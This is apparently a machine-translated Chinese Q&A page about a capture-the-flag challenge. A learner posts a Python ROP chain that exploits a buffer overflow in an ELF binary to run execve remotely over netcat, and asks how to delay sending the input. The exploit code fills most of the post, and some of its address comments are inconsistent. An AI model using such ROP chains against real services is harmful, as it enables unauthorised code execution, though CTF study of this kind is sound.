远程执行代码利用:延迟对Web应用程序的二进制输入

问题描述 投票:1回答:1

我正在进入渗透测试/漏洞利用,并且最近一直在进行逆向工程挑战。对于挑战,我有一个通过端口2888连接到的远程应用程序(我通过以下命令使用netcat):

nc xxx.xxx.x.xx 2888

然后,我收到提示,要求我输入输入,然后将其“加密”并提供给我。

该挑战提供了一个ELF二进制文件,该文件声称具有Internet连接版本的镜像功能。我花了很多时间分析该二进制文件,并且发现了一个经典的缓冲区溢出漏洞。我非常确定服务器已启用ASLR和DEP,因此我使用了面向返回的编程来开发ROP链,该链将允许我执行命令。 (我将其张贴在问题的底部)

为了赢得挑战,我要做的就是执行以下命令:

/bin/flag [email protected]

然后,服务器应将标志发送给我。我已经将ROP链配置为使用上述命令启动execve命令。

出于测试目的,我在VM中运行二进制文件,然后将ROP链(使用python生成)通过管道传输到VM的端口2888。

python ./ropchain.py | nc localipaddress 2888

我将命令更改为/ bin / echo,以查看是否正确利用了该漏洞利用程序,并确保它可以回显我的电子邮件地址。另外,当我跟踪本地二进制文件时,execve具有了我期望的所有输入。

但是,当我尝试像上面一样将我的ROP链通过管道传输到实时服务器时,它会在应用程序准备就绪之前将输入写入stdin中,并且该利用无效。 (我没有收到电子邮件)。我已经用Wireshark分析了我的两个命令,并且在连接到实时服务器时不应该收到FIN / ACK数据包。

我的问题是,如何将打包的地址以及构成ROP链的地址写入远程应用程序,但是要等到准备好输入时才能使用?我要这样做正确吗?

我还将包括我的ROP链以供参考。谢谢!

下面是ROP链。如果您想知道为什么某些地址不可用,那是因为该程序接受输入并将所有ASCI字符移位13个空格。

#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
import sys

p = lambda x : pack('Q', x)

IMAGE_BASE_0 = 0x0000000000400000 # ./reverse
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

#padding
rop = 'N' * 24

rop += rebase_0(0x00000000000010fb) # 0x00000000004010fb: pop r13; ret; 
rop += '///////b'
rop += rebase_0(0x0000000000000f90) # 0x0000000000400f90: pop rdi; ret; 
rop += rebase_0(0x000000000037c160) # data section: 0x00000000006ac160
rop += rebase_0(0x0000000000105e0a) # 0x0000000000435e0a: mov qword ptr [rdi], r13; xor eax, eax; pop r12; pop r13; ret; 
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)

rop += rebase_0(0x00000000000010fb) # 0x00000000004010fb: pop r13; ret; 
rop += 'in/flag\0'
rop += rebase_0(0x0000000000000f90) # 0x0000000000400f90: pop rdi; ret; 
rop += rebase_0(0x000000000037c175) # data section: 0x00000000002ac168
rop += rebase_0(0x0000000000105e0a) # 0x0000000000435e0a: mov qword ptr [rdi], r13; xor eax, eax; pop r12; pop r13; ret; 
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)

rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret; 
rop += 'example@'
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret;
rop += rebase_0(0x000000000037c163) # data section: 0x00000000006ac170
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += 'yahooooo'
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret; 
rop += rebase_0(0x000000000037c16B) # data section: 0x00000000006ac178
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += '.com\0\0\0\0'
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret; 
rop += rebase_0(0x000000000037c180) # data section: 0x00000000006ac180
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

#Put a pointer to the command /bin/echo into the rdi register
rop += rebase_0(0x0000000000000f90) # 0x0000000000400f90: pop rdi; ret; 
rop += rebase_0(0x000000000037c160) # data section: 0x00000000002ac160

#Write the email string to the data section
rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += rebase_0(0x000000000037c163) # data section: 0x00000000006ac170
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret;
rop += rebase_0(0x000000000037c190) # data section: 0x00000000006ac190
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

#Write NULL bytes to the data section
rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += p(0x0000000000000000)        # NULL
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret;
rop += rebase_0(0x000000000037c198) # data section: 0x00000000006ac198
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

#Write ///////b  to the data section
rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += rebase_0(0x000000000037c160) # data section: 0x00000000006ac160
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret;
rop += rebase_0(0x000000000037c188) # data section: 0x00000000006ac188
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

#Set the rdx register to NULL
rop += rebase_0(0x00000000000ea948) # 0x000000000041a955: pop rdx; ret;
rop += p(0x0000000000000000) 

#Set the rax register to the value for execve()
rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret; 
rop += p(0x000000000000003b)

#Make the syscall
rop += rebase_0(0x00000000001234e5) # 0x00000000004534e5: syscall; ret;
rop += '\x90' * 400
print rop
python security networking netcat
1个回答
0
投票

这真的很棒,如果我可以获取服务器和二进制文件的IP ...,自动ROP生成器将无法正常工作。 All Times,我很乐意帮助您创建利用和理解,如果我有Binary,并且如果可能,则还有服务器的Ip。

© www.soinside.com 2019 - 2024. All rights reserved.